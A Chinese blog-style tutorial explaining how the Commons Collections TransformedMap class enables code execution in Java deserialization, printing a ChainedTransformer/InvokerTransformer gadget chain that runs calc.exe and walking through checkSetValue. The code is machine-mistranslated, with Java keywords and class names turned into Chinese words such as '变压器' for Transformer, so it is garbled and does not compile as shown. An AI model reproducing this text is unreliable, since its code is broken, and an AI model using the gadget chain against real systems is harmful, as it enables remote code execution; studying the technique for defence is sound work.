java反序列化——transformedMap类可以执行恶意代码的原理

  

java反序列化——transformedMap类可以执行恶意代码的原理

  

0 x00代码

  
 <代码>地图地图=new HashMap ();
  map.put(“关键”、“价值”);//调用目标对象的toString方法
  字符串命令=癱alc.exe”;
  最后一个String [] execArgs=new String[]{命令};
  最后变压器变压器[][]变压器=new {
  新ConstantTransformer (Runtime.class),
  新InvokerTransformer (“getMethod”,新类[]{
  字符串。类,类[]。类},新对象[]{
  “getRuntime”,新类[0]}),
  新InvokerTransformer(“调用”,新类[]{
  对象。类、对象[]。类},新对象[]{
  空,新对象[0]}),
  新InvokerTransformer(“执行”,
  新类[]{字符串。类},execArgs)
  };
  变压器变压器=new ChainedTransformer(变形金刚);
  Object> Map<字符串;transformedMap=TransformedMap.decorate(地图、零、变压器);
  
  (Map.Entry<字符串,Object>条目:transformedMap.entrySet ()) {
  System.out.println(入口);
  entry.setValue(“什么”);
  } 
  

<>强执行结果:
癹ava反序列化——transformedMap类可以执行恶意代码的原理"

  

0 x01 transformedMap类为什么可以执行恶意代码?

  https://blog.51cto.com/13770310/2160737

通过上一篇文章,可知ChainedTransformer的变压器方法可以执行恶意代码。
上述代码的关键是:

  
 <代码> (Map.Entry<字符串,Object>条目:transformedMap.entrySet ()) {
  System.out.println(入口);
  entry.setValue(“什么”);
  } 
  

为什么执行了entry.setValue (“anything"),就可以造成恶意代码执行呢?接下来我们看transformedMap类的checkSetValue方法:

  
 <代码>/* *
  *覆盖转换价值在使用& lt; code> setValue。
  *
  * @param价值转换的值
  * @return转换后的值
  3.1 * @since Commons集合
  */保护对象checkSetValue(对象值){
  返回valueTransformer.transform(价值);
  }
   
  

当transformedMap对象执行setValue方法时会调用valueTransformer的变换方法,如果传入的valueTransformer是ChainedTransformer的对象,那不就可以造成恶意代码执行了吗。
接着查看上面代码:
癹ava反序列化——transformedMap类可以执行恶意代码的原理”
因此该代码的核心还是使用的ChainedTransformer的变压器方法

java反序列化——transformedMap类可以执行恶意代码的原理